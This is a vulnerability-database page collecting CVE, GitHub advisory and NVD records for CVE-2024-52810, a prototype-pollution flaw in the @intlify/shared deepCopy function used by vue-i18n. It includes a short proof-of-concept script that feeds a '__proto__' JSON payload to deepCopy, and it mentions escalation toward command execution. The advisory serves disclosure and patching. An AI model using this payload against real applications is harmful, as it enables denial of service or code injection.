cvelistv5 - cve-2024-52810

CVE-2024-52810 (GCVE-0-2024-52810)

Vulnerability from cvelistv5 – Published: 2024-11-29 18:36 – Updated: 2024-12-03 14:06

Title

Prototype Pollution in @intlify/shared >=9.7.0 <= 10.0.4

Summary

@intlify/shared is a shared library for the intlify project. The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) as the minimum consequence. Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context. This issue has been addressed in versions 9.14.2, and 10.0.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Severity ?

6.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

CWE

CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/intlify/vue-i18n/security/advi…	x_refsource_CONFIRM
	https://github.com/intlify/vue-i18n/commit/9f2090…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	intlify	vue-i18n	Affected: >= 9.7.0, < 9.14.2 Affected: >= 10.0.0, < 10.0.5

Show details on NVD website

JSON

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GHSA-HJWQ-MJWJ-4X6C

Vulnerability from github – Published: 2024-12-02 17:26 – Updated: 2024-12-02 17:26

Summary

@intlify/shared Prototype Pollution vulnerability

Details

Vulnerability type: Prototype Pollution

Affected Package:

Product: @intlify/shared Version: 10.0.4

Vulnerability Location(s):

node_modules/@intlify/shared/dist/shared.cjs:232:26

Description:

The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install @intlify/shared@10.0.4
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}

(async () => {
const lib = await import('@intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();

References

Prototype Pollution Leading to Remote Code Execution - An example of how prototype pollution can lead to command code injection.

OWASP Prototype Pollution Prevention Cheat Sheet - Best practices for preventing prototype pollution.

PortSwigger Guide on Preventing Prototype Pollution - A detailed guide to securing your applications against prototype pollution.

Severity ?

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

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          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "petite-vue-i18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@intlify/shared"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@intlify/vue-i18n-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vue-i18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-52810"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-02T17:26:47Z",
    "nvd_published_at": "2024-11-29T19:15:09Z",
    "severity": "MODERATE"
  },
  "details": "**Vulnerability type: Prototype Pollution**\n\n**Affected Package:**\n\nProduct: @intlify/shared\nVersion: 10.0.4\n\n\n**Vulnerability Location(s):**\n\n`node_modules/@intlify/shared/dist/shared.cjs:232:26`\n\n\n**Description:**\n\nThe latest version of `@intlify/shared (10.0.4)` is vulnerable to Prototype Pollution through the entry function(s) `lib.deepCopy`. An attacker can supply a payload with `Object.prototype` setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.\n\nMoreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application\u0027s context.\n\n**PoC:**\n\n```bash\n// install the package with the latest version\n~$ npm install @intlify/shared@10.0.4\n// run the script mentioned below \n~$ node poc.js\n//The expected output (if the code still vulnerable) is below. \n// Note that the output may slightly differs from function to another.\nBefore Attack:  {}\nAfter Attack:  {\"pollutedKey\":123}\n```\n\n\n```js\n(async () =\u003e {\nconst lib = await import(\u0027@intlify/shared\u0027);\nvar someObj = {}\nconsole.log(\"Before Attack: \", JSON.stringify({}.__proto__));\ntry {\n// for multiple functions, uncomment only one for each execution.\nlib.deepCopy (JSON.parse(\u0027{\"__proto__\":{\"pollutedKey\":123}}\u0027), someObj)\n} catch (e) { }\nconsole.log(\"After Attack: \", JSON.stringify({}.__proto__));\ndelete Object.prototype.pollutedKey;\n})();\n```\n\n**References**\n\n[Prototype Pollution Leading to Remote Code Execution](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) - An example of how prototype pollution can lead to command code injection.\n\n[OWASP Prototype Pollution Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html) - Best practices for preventing prototype pollution.\n\n[PortSwigger Guide on Preventing Prototype Pollution](https://portswigger.net/web-security/prototype-pollution/preventing) - A detailed guide to securing your applications against prototype pollution.",
  "id": "GHSA-hjwq-mjwj-4x6c",
  "modified": "2024-12-02T17:26:47Z",
  "published": "2024-12-02T17:26:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/intlify/vue-i18n/security/advisories/GHSA-hjwq-mjwj-4x6c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52810"
    },
    {
      "type": "WEB",
      "url": "https://github.com/intlify/vue-i18n/commit/9f20909ef8c9232a1072d7818e12ed6d6451024d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/intlify/vue-i18n"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@intlify/shared Prototype Pollution vulnerability"
}

FKIE_CVE-2024-52810

Vulnerability from fkie_nvd - Published: 2024-11-29 19:15 - Updated: 2024-11-29 19:15

Severity ?

6.9 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/intlify/vue-i18n/commit/9f20909ef8c9232a1072d7818e12ed6d6451024d
	security-advisories@github.com	https://github.com/intlify/vue-i18n/security/advisories/GHSA-hjwq-mjwj-4x6c

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "@intlify/shared is a shared library for the intlify project. The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) as the minimum consequence. Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application\u0027s context. This issue has been addressed in versions 9.14.2, and 10.0.5. Users are advised to upgrade. There are no known workarounds for this vulnerability."
    },
    {
      "lang": "es",
      "value": "@E58intlify/shared es una librer\u00eda compartida para el proyecto intlify. La \u00faltima versi\u00f3n de @intlify/shared (10.0.4) es vulnerable a la contaminaci\u00f3n de prototipos a trav\u00e9s de la(s) funci\u00f3n(es) de entrada lib.deepCopy. Un atacante puede proporcionar un payload con el definidor Object.prototype para introducir o modificar propiedades dentro de la cadena de prototipos global, lo que provoca una denegaci\u00f3n de servicio (DoS) como consecuencia m\u00ednima. Adem\u00e1s, las consecuencias de esta vulnerabilidad pueden escalar a otros ataques basados ??en inyecci\u00f3n, seg\u00fan c\u00f3mo se integre la librer\u00eda dentro de la aplicaci\u00f3n. Por ejemplo, si la propiedad contaminada se propaga a las API de Node.js sensibles (p. ej., exec, eval), podr\u00eda permitir que un atacante ejecute comandos arbitrarios dentro del contexto de la aplicaci\u00f3n. Este problema se ha solucionado en las versiones 9.14.2 y 10.0.5. Se recomienda a los usuarios que actualicen. No existen workarounds conocidos para esta vulnerabilidad.E57"
    }
  ],
  "id": "CVE-2024-52810",
  "lastModified": "2024-11-29T19:15:09.163",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 6.9,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "LOW",
          "vulnConfidentialityImpact": "LOW",
          "vulnIntegrityImpact": "LOW",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2024-11-29T19:15:09.163",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/intlify/vue-i18n/commit/9f20909ef8c9232a1072d7818e12ed6d6451024d"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/intlify/vue-i18n/security/advisories/GHSA-hjwq-mjwj-4x6c"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-1321"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2024-52810 (GCVE-0-2024-52810)

GHSA-HJWQ-MJWJ-4X6C

FKIE_CVE-2024-52810

Tags

Sightings

Nomenclature